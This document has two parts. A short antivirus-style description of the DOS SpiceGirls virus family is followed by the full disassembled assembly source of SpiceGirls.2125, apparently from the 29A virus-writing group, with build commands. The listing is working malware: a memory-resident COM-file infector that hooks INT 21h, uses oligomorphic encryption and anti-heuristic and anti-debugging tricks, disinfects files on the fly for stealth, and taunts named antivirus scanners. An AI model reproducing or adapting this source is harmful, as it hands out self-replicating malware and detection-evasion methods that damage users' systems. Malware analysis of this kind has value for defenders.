SpiceGirl family ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ These are harmless memory resident parasitic viruses. They hook INT 21h and write themselves to the beginning of COM files (except COMMAND.COM) that are accessed. The viruses are encrypted starting from 1619 bytes version. Starting from 2123 bytes version they are semi-stealth - on opening an infected file they create temporary file, write to there disinfected copy of original file, and return "handle" of disinfected copy instead of original file. On closing these viruses delete the temporary file. The viruses use new way to avoid detection - the infected files have no entry point (start code). The address of entry point in infected files is out of file body and it is impossible to reach virus code by parsing EXE header. To realize this method the virus uses several PSP (Program's Segment Prefix) and EXE header tricks. The format of virus code is EXE, i.e. the virus as a program is EXE program with EXE header, relocation table and so on (as a result infected COM files are of EXE internal format). EXE header fields in virus (initial CS and IP) are patches so, that entry address points not to file code, but to PSP data (i.e. out of file). At that address PSP contains RET FAR code that follows the call to INT 21h handler. So, the virus entry address points to RET FAR code, and control then will be passed to code that is pointed by stack. To pass the control to its real entry code the virus has initial stack registers (SS and SP) in its EXE header and stack data that points to real entry: ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ PSP Control flow 0000 ³CD 20 ³ .... ³ ³ ³ 0050 ³CD 21 ³ ³ 0052 ³CB / RET FAR³ Entry address, DOS will <ÄÄÄÄÄÙ .... ³ ³ bring control to here ÄÄÄÄÄ¿ ³ 0100 ÉÍÍÍÍÍÍÍÍÍÍÍÍ» Virus code (file image) ³ º º ³ ÇÄÄÄÄÄÄÄÄÄÄÄĶ ³ ºStack º Stack data points to ÄÄÄÄ>³ º º real entry ³ ÇÄÄÄÄÄÄÄÄÄÄÄĶ ³ º º Real virus entry code <ÄÄÄÄÄÙ º . . . º The virus contain the text strings: What? 'Error: invalid program'? Me? Fprot, are you crazy? :) And you, Avp, 'EXE file but COM extension'. What a deep scan. ;) Spice_Girls virus causes problems to your scan engine eh? :) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ comment * SpiceGirls.2125 Disassembled by Darkman/29A SpiceGirls.2125 is a 2125 bytes parasitic resident COM virus. Infects fi- les at open file, close file, get or set file attributes, load and/or exe- cute program and rename file by prepending an EXE header and the virus to the infected file. SpiceGirls.2125 has an error handler, anti-heuristic techniques, anti-debugging techniques, disinfection on fly and is oligo- morphic in file using its internal oligomorphic engine. To compile SpiceGirls.2125 with Turbo Assembler v 4.0 type: TASM /m SPIC2125.ASM TLINK /t /x SPIC2125.OBJ * .model tiny .code org 100h ; Origin of SpiceGirls.2125 head_begin: pages_begin: db 'MZ' ; EXE signature bytes_on_las dw (pages_end-pages_begin) mod 200h pages_in_fil dw (pages_end-pages_begin)/200h dw (relo_end-relo_begin)/04h dw (head_end-head_begin)/10h dw 00h,01h ; Minimum-, maximum number of para... dw 0ffeah,stack_ptr ; Pointer to stack db 'SG' ; Checksum dd 0ffea00b2h ; Pointer to service request + 02h dw relocations-100h ; Offset of relocations - 100h dw 00h ; Overlay number (main program) relo_begin: relocations dd 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h dd 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h dd 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h relo_end: db 08h dup(00h) head_end: code_begin: db ' - Spice_Girls.2125 - ' stack_ptr: dd 07h dup(0ffea00b2h) ; Seven pointers to service reques... dw virus_begin ; Offset of virus_begin dw 0ffeah ; Segment of virus_begin dw crypt_begin ; Offset of crypt_begin crypt_size dw (crypt_end-crypt_begin)/02h crypt_key dw 00h ; 16-bit encryption/decryption key virus_begin: pop_reg16 equ byte ptr $ ; POP reg16 pop di cx ax ; Load registers from stack decrypt_loop: decrypt_algo equ byte ptr $+01h ; Decryption algorithme index_reg equ byte ptr $+02h ; 16-bit index register add cs:[di],ax ; Decrypt two bytes index_reg_ equ byte ptr $+01h ; 16-bit index register add_idx_imm8 equ byte ptr $+02h ; 8-bit immediate add di,02h ; DI = offset of next encrypted byte loop decrypt_loop nop crypt_begin: mov cs:[psp_segment],ds ; Store segment of PSP for current... push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push cs ; Save CS at stack pop es ; Load ES from stack (CS) nop nop nop call find_name virus_exit: mov ax,(3000h+'S') ; SpiceGirls.2125 function nop db 9ah ; CALL imm32 (opcode 9ah) dd 0ffea00b0h ; Pointer to service request call install eternal_loop: jc eternal_loop ; Error? Jump to eternal_loop jmp virus_exit find_name proc near ; Find filename push ds ; Save DS at stack mov ds,[psp_segment] ; DS = segment of PSP for current ... mov ds,ds:[2ch] ; DS = segment of environment for ... xor si,si ; Zero SI find_zero: lodsb ; AL = byte of environment block cmp al,00h ; Last environment variable? jne find_zero ; Not equal? Jump to find_zero lodsb ; AL = byte of environment block cmp al,00h ; Last environment variable? jne find_zero ; Not equal? Jump to find_zero add si,02h ; SI = offset of filename find_zero_: lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne find_zero_ ; Not equal? Jump to find_zero_ sub si,02h ; SI = offset of last character by... mov byte ptr [si],0ffh ; Store last byte of file extension pop ds ; Load DS from stack ret ; Return! endp install proc near ; Allocate memory, move virus to t... mov ah,(48h xor 'S') ; Allocate memory xor ah,'S' mov bx,0ffffh ; BX = number of paragraphs to all... nop db 9ah ; CALL imm32 (opcode 9ah) dd 0ffea00b0h ; Pointer to service request mov ah,(48h xor 'S') ; Allocate memory xor ah,'S' sub bx,(memory_end-head_begin+0fh)/10h+01h db 9ah ; CALL imm32 (opcode 9ah) dd 0ffea00b0h ; Pointer to service request jc install_exit ; Error? Jump to install_exit mov bp,ax ; BP = segment of allocated block mov ah,(48h xor 'S') ; Allocate memory xor ah,'S' mov bx,(memory_end-head_begin+0fh)/10h nop db 9ah ; CALL imm32 (opcode 9ah) dd 0ffea00b0h ; Pointer to service request jc install_exit ; Error? Jump to install_exit xchg ax,bp ; AX = segment of allocated block push es ; Save ES at stack mov es,ax ; ES = segment of allocated block mov ah,(49h xor 'S') ; Free memory xor ah,'S' db 9ah ; CALL imm32 (opcode 9ah) dd 0ffea00b0h ; Pointer to service request sub bp,10h ; Subtract ten from segment of all... mov es,bp ; ES = segment of allocated block mov word ptr es:[0f1h],08h lea si,exe_header ; SI = offset of exe_header mov di,100h ; DI = offset of beginning of code mov cx,(header_end-header_begin) move_header: lodsb ; AL = byte of exe_header stosb ; Store byte of exe_header loop move_header lea si,virus_begin ; SI = offset of virus_begin mov cx,(code_end-virus_begin) move_virus: lodsb ; AL = byte of virus stosb ; Store byte of virus loop move_virus call correct_relo push ds ; Save DS at stack push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov ax,(3521h xor 'SG') ; Get interrupt vector 21h xor ax,'SG' db 9ah ; CALL imm32 (opcode 9ah) dd 0ffea00b0h ; Pointer to service request mov word ptr [int21_addr],bx mov word ptr [int21_addr+02h],es mov ah,(25h xor 'S') ; Set interrupt vector 21h xor ah,'S' lea dx,int21_virus ; DX = offset of int21_virus nop db 9ah ; CALL imm32 (opcode 9ah) dd 0ffea00b0h ; Pointer to service request pop ds es ; Load segments from stack clc ; Clear carry flag install_exit: ret ; Return! endp correct_relo proc near ; Correct relocation entries lea si,relocations ; SI = offset of relocations mov cx,0fh ; CX = number of relocation entries correct_loop: mov di,es:[si] ; DI = offset of relocation add si,04h ; SI = offset of next relocation e... mov es:[di],0ffeah ; Store high-order word of relocat... loop correct_loop ret ; Return! endp int21_virus proc near ; Interrupt 21h of SpiceGirls.2125 xor ah,'S' cmp ax,(3000h xor 5300h+'S') je jmp_spice_fu ; Equal? Jump to jmp_spice_fu cmp ah,(3dh xor 'S') ; Open file? je jmp_exam_fil ; Equal? Jump to jmp_exam_fil cmp ah,(3eh xor 'S') ; Close file? je jmp_pre_test ; Equal? Jump to jmp_pre_test cmp ah,(43h xor 'S') ; Get or set file attributes je jmp_exam_fil ; Equal? Jump to jmp_exam_fil cmp ah,(4bh xor 'S') ; Load and/or execute program? je jmp_exam_fil ; Equal? Jump to jmp_exam_fil cmp ah,(56h xor 'S') ; Rename file je jmp_exam_fil ; Equal? Jump to jmp_exam_fil int21_exit: xor ah,'S' jmp cs:[int21_addr] endp jmp_spice_fu: jmp spice_functi nop jmp_exam_fil: jmp examine_file jmp_pre_test: jmp pre_tst_func spice_functi: add sp,04h ; Correct stack pointer popf ; Load flags from stack mov [file_handle_],'SG' mov ax,[origin_off] ; AX = offset of original code mov cs:[origin_off],ax ; Store offset of original code mov ax,ds:[psp_segment] ; AX = segment of PSP for current ... mov cs:[psp_segment],ax ; Store segment of PSP for current... mov ds,cs:[psp_segment] ; DS = segment of PSP for current ... mov es,cs:[psp_segment] ; ES = segment of PSP for current ... mov ah,(4ah xor 'S') ; Resize memory block xor ah,'S' mov bx,0ffffh ; BX = new size in paragraphs call int21_simula mov ah,(4ah xor 'S') ; Resize memory block xor ah,'S' sub bx,04h ; BX = new size in paragraphs call int21_simula cli ; Clear interrupt-enable flag mov ss,cs:[psp_segment] ; SS = segment of PSP for current ... mov sp,0fffah ; SP = stack pointer sti ; Set interrupt-enable flag mov word ptr ds:[0fffeh],00h mov ds:[0fffch],ds ; Store segment of PSP for current... mov ds:[0fffah],100h ; Store instruction pointer std ; Set direction flag mov si,cs:[origin_off] ; SI = offset of original code add si,100h ; Add offset of beginning of code add si,(code_end-code_begin) mov di,cs:[origin_off] ; DI = offset of original code add di,100h ; Add offset of beginning of code add di,(code_end-head_begin) dec si ; Decrease SI dec di ; Decrease DI mov cx,cs:[origin_off] ; CX = offset of original code move_origin: lodsb ; AL = byte of original code stosb ; Store byte of original code loop move_origin cld ; Clear direction flag mov si,cs:[origin_off] ; SI = offset of original code add si,100h ; Add offset of beginning of code mov di,100h ; DI = offset of beginning of code mov cx,(code_end-head_begin) move_origin_: lodsb ; AL = byte of original code stosb ; Store byte of original code loop move_origin_ xor ax,ax ; Zero AX xor cx,cx ; Zero CX xor dx,dx ; Zero DX xor bx,bx ; Zero BX xor bp,bp ; Zero BP xor si,si ; Zero SI xor di,di ; Zero DI retf ; Return far! examine_file: mov cs:[dos_function],ah mov word ptr cs:[name_pointer],dx mov word ptr cs:[name_pointer+02h],ds pushf ; Save flags at stack push ax cx dx bx bp si di es ds sti ; Set interrupt-enable flag cld ; Clear direction flag call int24_store mov si,word ptr cs:[name_pointer] mov ds,word ptr cs:[name_pointer+02h] call examine_name jc infect_exit ; Error? Jump to infect_exit mov dx,word ptr cs:[name_pointer] mov ds,word ptr cs:[name_pointer+02h] call test_exe_sig jc infect_exit ; Error? Jump to infect_exit mov dx,word ptr cs:[name_pointer] mov ds,word ptr cs:[name_pointer+02h] call tst_filesize jc infect_exit ; Error? Jump to infect_exit mov dx,word ptr cs:[name_pointer] mov ds,word ptr cs:[name_pointer+02h] call infect_file infect_exit: mov si,word ptr cs:[name_pointer] mov ds,word ptr cs:[name_pointer+02h] call test_infect jc examin_exit ; Error? Jump to examin_exit mov ah,cs:[dos_function] mov si,word ptr cs:[name_pointer] mov ds,word ptr cs:[name_pointer+02h] call test_functio examin_exit: call int24_load pop ds es di si bp bx dx cx ax popf ; Load flags from stack jmp int21_exit int24_store proc near ; Get and set interrupt vector 24h xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov ax,ds:[24h*04h] ; AX = offset of interrupt 24h mov word ptr cs:[int24_addr],ax mov ax,ds:[24h*04h+02h] ; AX = segment of interrupt 24h mov word ptr cs:[int24_addr+02h],ax mov word ptr ds:[24h*04h],offset int24_virus mov ds:[24h*04h+02h],cs ; Set interrupt segment 24h ret ; Return! endp examine_name proc near ; Examine filename lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne examine_name ; Not equal? Jump to examine_name sub si,07h ; SI = offset of last two bytes of... lodsw ; AX = two bytes of filename and ax,0101111101011111b cmp ax,'DN' ; COMMAND.COM? je examin_exit_ ; Equal? Jump to examin_exit_ lodsb ; AL = dot after filename cmp al,'.' ; Dot after filename? jne examin_exit_ ; Not equal? Jump to examin_exit_ lodsw ; AX = two bytes of file extension and ax,0101111101011111b xor ax,'SG' cmp ax,('OC' xor 'SG') ; COM executable? jne examin_exit_ ; Not equal? Jump to examin_exit_ lodsb ; AL = byte of file extension and al,01011111b ; Upcase character xor al,'S' cmp al,('M' xor 'S') ; COM executable? jne examin_exit_ ; Not equal? Jump to examin_exit_ clc ; Clear carry flag ret ; Return! examin_exit_: stc ; Set carry flag ret ; Return! endp test_exe_sig proc near ; Test EXE signature mov ax,(3d00h xor 'SG') ; Open file (read) xor ax,'SG' call int21_simula jc tst_sig_exit ; Error? Jump to tst_sig_exit xchg ax,bx ; BX = file handle push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,(3fh xor 'S') ; Read from file xor ah,'S' lea dx,exe_head_sig ; DX = offset of exe_head_sig mov cx,02h ; Read two bytes call int21_simula mov ah,(3eh xor 'S') ; Close file xor ah,'S' call int21_simula mov ax,('ZM' xor 'SG') ; AX = EXE signature xor ax,'SG' cmp [exe_head_sig],ax ; Found EXE signature? je tst_sig_exit ; Equal? Jump to tst_sig_exit mov ax,('MZ' xor 'SG') ; AX = EXE signature xor ax,'SG' cmp [exe_head_sig],ax ; Found EXE signature? je tst_sig_exit ; Equal? Jump to tst_sig_exit clc ; Clear carry flag ret ; Return! tst_sig_exit: stc ; Set carry flag ret ; Return! endp tst_filesize proc near ; Test filesize mov ax,(3d00h xor 'SG') ; Open file (read) xor ax,'SG' call int21_simula xchg ax,bx ; BX = file handle push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,(4202h xor 'SG') ; Set current file position (EOF) xor ax,'SG' xor cx,cx ; Zero CX xor dx,dx ; Zero DX call int21_simula push ax dx ; Save registers at stack mov ah,(3eh xor 'S') ; Close file xor ah,'S' call int21_simula pop dx ax ; Load registers from stack cmp ax,(code_end-head_begin) jb tst_siz_exit ; Filesize too small? Jump to tst_... cmp dx,00h ; Filesize too large? ja tst_siz_exit ; Above? Jump to tst_siz_exit cmp ax,0ea60h ; Filesize too large? ja tst_siz_exit ; Above? Jump to tst_siz_exit mov [origin_off],ax ; Store offset of original code xor dx,dx ; Zero DX mov cx,200h div cx ; Divide by pages cmp dx,00h ; Bait file? je tst_siz_exit ; Equal? Jump to tst_siz_exit mov ax,[origin_off] ; Store offset of original code xor dx,dx ; Zero DX mov cx,3e8h div cx ; Divide by thousands cmp dx,00h ; Bait file? je tst_siz_exit ; Equal? Jump to tst_siz_exit clc ; Clear carry flag ret ; Return! tst_siz_exit: stc ; Set carry flag ret ; Return! endp int21_simula proc near ; Simulate interrupt 21h pushf ; Save flags at stack call cs:[int21_addr] ret ; Return! endp infect_file proc near ; Infect COM file mov ax,(4300h xor 'SG') ; Get file attributes xor ax,'SG' call int21_simula mov cs:[file_attr],cx ; Store file attributes mov ax,(4301h xor 'SG') ; Set file attributes xor ax,'SG' xor cx,cx ; CX = new file attributes call int21_simula mov ax,(3d02h xor 'SG') ; Open file (read/write) xor ax,'SG' call int21_simula jnc load_info ; No error? Jump to load_info jmp infect_exit_ load_info: xchg ax,bx ; BX = file handle push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,(5700h xor 'SG') ; Set file's date and time xor ax,'SG' call int21_simula mov [file_time],cx ; Store file time mov [file_date],dx ; Store file date push ds ; Save DS at stack mov ax,0bf00h ; AX = segment of text video RAM mov ds,ax ; DS = " " " " " mov ah,(3fh xor 'S') ; Read from file xor ah,'S' xor dx,dx ; Zero DX mov cx,(code_end-head_begin) call int21_simula push ax ; Save AX at stack mov ax,(4202h xor 'SG') ; Set current file position (EOF) xor ax,'SG' xor cx,cx ; Zero CX xor dx,dx ; Zero DX call int21_simula pop cx ; Load CX from stack (AX) mov ah,(40h xor 'S') ; Write to file xor ah,'S' xor dx,dx ; Zero DX call int21_simula pop ds ; Load DS from stack mov ax,(4200h xor 'SG') ; Set current file position (SOF) xor ax,'SG' xor cx,cx ; Zero CX xor dx,dx ; Zero DX call int21_simula mov ax,[origin_off] ; Store offset of original code add ax,(code_end-head_begin) xor dx,dx ; Zero DX mov cx,200h div cx ; Divide by pages inc ax ; Increase AX mov [pages_in_fil],ax ; Store total number of 512-bytes ... mov [bytes_on_las],dx ; Store number of bytes on last 51... push ds ; Save DS at stack mov ax,0bf00h ; AX = segment of text video RAM mov ds,ax ; DS = " " " " " call spice_oligo mov ah,(40h xor 'S') ; Write to file xor ah,'S' mov cx,(code_end-head_begin) xor dx,dx ; Zero DX call int21_simula pop ds ; Load DS from stack mov ax,(5701h xor 'SG') ; Set file's date and time xor ax,'SG' mov cx,[file_time] ; CX = file time mov dx,[file_date] ; DX = file date call int21_simula mov ah,(3eh xor 'S') ; Close file xor ah,'S' call int21_simula infect_exit_: mov ax,(4301h xor 'SG') ; Set file attributes xor ax,'SG' mov ds,word ptr [name_pointer+02h] mov cx,cs:[file_attr] ; CX = file attributes mov dx,word ptr cs:[name_pointer] call int21_simula ret ; Return! endp spice_oligo proc near ; SpiceGirls.2125 oligomorphic engine push ds ; Save DS at stack push ds ; Save DS at stack pop es ; Load ES from stack (DS) push cs ; Save CS at stack pop ds ; Load DS from stack (CS) in al,40h ; AL = 8-bit random number mov byte ptr [crypt_key],al xor al,'S' mov byte ptr [crypt_key+01h],al mov ah,al ; AH = 8-bit random number and ah,00000001b ; AH = 16-bit index register mov [index_reg__],ah ; Store 16-bit index register ror al,01h ; AL = 8-bit random number mov ah,al ; AH = encryption/decryption algor... and ah,00000001b ; AH = " " mov [crypt_algo],ah ; Store encryption/decryption algo... mov al,5eh ; POP SI (opcode 5eh) or al,[index_reg__] ; POP reg16 mov [pop_reg16],al ; Store POP reg16 mov al,[crypt_algo] ; AL = encryption/decryption algor... mov ah,00h ; Zero AH add ax,offset algo_table mov si,ax ; SI = offset of decryption algori... mov al,[si] ; AL = decryption algorithme mov [decrypt_algo],al ; Store decryption algorithme mov al,04h ; AL = 16-bit index register or al,[index_reg__] ; AL = " " " mov [index_reg],al ; Store 16-bit index register mov al,0c6h ; AL = 16-bit index register or al,[index_reg__] ; AL = " " " mov [index_reg_],al ; Store 16-bit index register mov [add_idx_imm8],02h ; Store 8-bit immediate mov al,[crypt_algo] ; AL = encryption/decryption algor... xor al,00000001b ; Invert first bit of AL mov ah,00h ; Zero AH add ax,offset algo_table mov si,ax ; SI = offset of encryption algori... mov al,[si] ; AL = encryption algorithme mov [encrypt_algo],al ; Store encryption algorithme mov si,100h ; SI = offset of beginning of code xor di,di ; Zero DI mov cx,(code_end-head_begin) move_virus_: lodsb ; AL = byte of virus stosb ; Store byte of virus loop move_virus_ lea si,crypt_begin-100h ; SI = offset of crypt_begin mov cx,[crypt_size] ; CX = number of bytes to encrypt mov ax,[crypt_key] ; AX = encryption/decryption key jmp encrypt_loop encrypt_loop: encrypt_algo equ byte ptr $+01h ; Encryption algorithme sub es:[si],ax ; Encrypt two bytes add si,02h ; SI = offset of next encrypted byte loop encrypt_loop pop ds ; Load DS from stack ret ; Return! endp index_reg__ db ? ; 16-bit index register crypt_algo db ? ; Encryption/decryption algortihme algo_table db 01h ; ADD segment:[index],AX db 29h ; SUB segment:[index],AX test_infect proc near ; Test for previously infection lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne test_infect ; Not equal? Jump to test_infect sub si,04h ; SI = offset of file extension lodsw ; AX = two bytes of file extension and ax,0101111101011111b xor ax,'SG' cmp ax,('OC' xor 'SG') ; COM executable? jne tst_inf_exit ; Not equal? Jump to tst_inf_exit lodsb ; AL = byte of file extension cmp al,0ffh ; Allready infected? jne tst_inf_exit ; Not equal? Jump to tst_inf_exit clc ; Clear carry flag ret ; Return! tst_inf_exit: stc ; Set carry flag ret ; Return! endp test_functio proc near ; Test DOS function number cmp ah,(3dh xor 'S') ; Open file? je jmp_create ; Equal? Jump to jmp_create cmp ah,(3eh xor 'S') ; Close file? je jmp_delete ; Equal? Jump to jmp_delete ret ; Return! endp jmp_create: jmp create_clean nop jmp_delete: jmp delete_clean create_clean: push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov si,dx ; SI = offset of filename lea di,filename ; DI = offset of filename mov cx,40h ; Move sixty-four bytes of the fil... move_name: lodsb ; AL = byte of filename stosb ; Store byte of filename loop move_name push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,(3ch xor 'S') ; Create file xor ah,'S' xor cx,cx ; CX = file attributes lea dx,filename ; DX = offset of filename call int21_simula jnc store_handle ; No error? Jump to store_handle jmp clean_exit store_handle: mov bp,ax ; BP = file handle mov [file_handle_],ax ; Store file handle lea si,filename ; SI = offset of filename find_zero__: lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne find_zero__ ; Not equal? Jump to find_zero__ sub si,02h ; SI = offset of last character by... mov byte ptr [si],'M' ; Store last byte of file extension mov ax,(3d00h xor 'SG') ; Open file (read) xor ax,'SG' lea dx,filename ; DX = offset of filename call int21_simula jnc store_extens ; No error? Jump to store_extens jmp clean_exit store_extens: mov bx,ax ; BX = file handle mov byte ptr [si],0ffh ; Store last byte of file extension mov ax,0bf00h ; AX = segment of text video RAM mov ds,ax ; DS = " " " " " mov ax,(4202h xor 'SG') ; Set current file position (EOF) xor ax,'SG' mov cx,-01h ; CX = end of file mov dx,-(code_end-head_begin) call int21_simula mov si,ax ; SI = original filesize sub si,(code_end-head_begin) mov ah,(3fh xor 'S') ; Read from file xor ah,'S' mov cx,(code_end-head_begin) xor dx,dx ; Zero DX call int21_simula xchg bx,bp ; BX = file handle mov ah,(40h xor 'S') ; Write to file xor ah,'S' mov cx,(code_end-head_begin) xor dx,dx ; Zero DX call int21_simula xchg bx,bp ; BX = file handle mov ax,(4200h xor 'SG') ; Set current file position (SOF) xor ax,'SG' xor cx,cx ; Zero CX mov dx,(code_end-head_begin) call int21_simula tst_file_pos: mov cx,1000h ; CX = number of bytes to read cmp si,cx ; Read less than four thousand and... jae read_file ; Above or equal? Jump to read_file mov cx,si ; CX = number of bytes to read read_file: mov di,cx ; DI = number of bytes to read mov ah,(3fh xor 'S') ; Read from file xor ah,'S' xor dx,dx ; Zero DX call int21_simula mov cx,ax ; CX = number of bytes actually read xchg bx,bp ; BX = file handle mov ah,(40h xor 'S') ; Write to file xor ah,'S' xor dx,dx ; Zero DX call int21_simula xchg bx,bp ; BX = file handle sub si,di ; SI = bytes left to read cmp si,00h ; Read all of the file? jne tst_file_pos ; Not equal? Jump to tst_file_pos mov ah,(3eh xor 'S') ; Close file xor ah,'S' call int21_simula xchg bx,bp ; BX = file handle mov ah,(3eh xor 'S') ; Close file xor ah,'S' call int21_simula ret ; Return! clean_exit: mov [file_handle_],'SG' ret ; Return! delete_clean: cmp cs:[file_handle_],bx jne dont_delete ; Don't delete disinfected file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,(41h xor 'S') ; Delete file xor ah,'S' lea dx,filename ; DX = offset of filename call int21_simula mov [file_handle_],'SG' dont_delete: ret ; Return! int24_load proc near ; Set interrupt vector 24h xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov ax,word ptr cs:[int24_addr] mov ds:[24h*04h],ax ; Store segment of interrupt 24h mov ax,word ptr cs:[int24_addr+02h] mov ds:[24h*04h+02h],ax ; Store segment of interrupt 24h ret ; Return! endp pre_tst_func: mov cs:[dos_function],ah mov cs:[file_handle],bx ; Store file handle pushf ; Save flags at stack push ax cx dx bx bp si di es ds sti ; Set interrupt-enable flag cld ; Clear direction flag call int24_store mov ah,cs:[dos_function] mov bx,cs:[file_handle] ; BX = file handle call test_functio call int24_load pop ds es di si bp bx dx cx ax popf ; Load flags from stack jmp int21_exit int24_virus proc near ; Interrupt 24h of SpiceGirls.2125 mov al,03h ; Fail system call in progress iret ; Interrupt return! endp db 0dh,0ah,'What? ''Error: invalid program''? Me? Fprot, are you crazy? :)' db 0dh,0ah,'And you, Avp, ''EXE file but COM extension''. What a deep scan. ;)' db 0dh,0ah,'Spice_Girls virus causes problems to your scan engine eh? :)' db 0dh,0ah,'$' header_begin: exe_header db 'MZ' ; EXE signature dw (pages_end-pages_begin) mod 200h dw (pages_end-pages_begin)/200h dw (relo_end-relo_begin)/04h dw (head_end-head_begin)/10h dw 00h,01h ; Minimum-, maximum number of para... dw 0ffeah,stack_ptr ; Pointer to stack db 'SG' ; Checksum dd 0ffea00b2h ; Pointer to service request + 02h dw relocations-100h ; Offset of relocations - 100h dw 00h ; Overlay number (main program) dd 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h dd 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h dd 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h db 08h dup(00h) db ' - Spice_Girls.2125 - ' dd 07h dup(0ffea00b2h) ; Seven pointers to service reques... dw virus_begin ; Offset of virus_begin dw 0ffeah ; Segment of virus_begin dw crypt_begin ; Offset of crypt_begin dw (crypt_end-crypt_begin)/02h dw 00h ; 16-bit encryption/decryption key header_end: psp_segment dw ? ; Segment of PSP for current proce... int21_addr dd ? ; Address of interrupt 21h int24_addr dd ? ; Address of interrupt 24h dos_function db ? ; DOS function number name_pointer dd ? ; Pointer to filename file_handle dw ? ; File handle exe_head_sig dw ? ; EXE header signature file_attr dw ? ; File attributes file_time dw ? ; File time file_date dw ? ; File date origin_off dw terminate-100h ; Offset of original code file_handle_ dw ? ; File handle filename db 40h dup(?) ; Filename crypt_end: db 00h code_end: memory_end: terminate: mov ax,4c00h ; Terminate with return code int 21h db 241h dup(90h) pages_end: end head_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ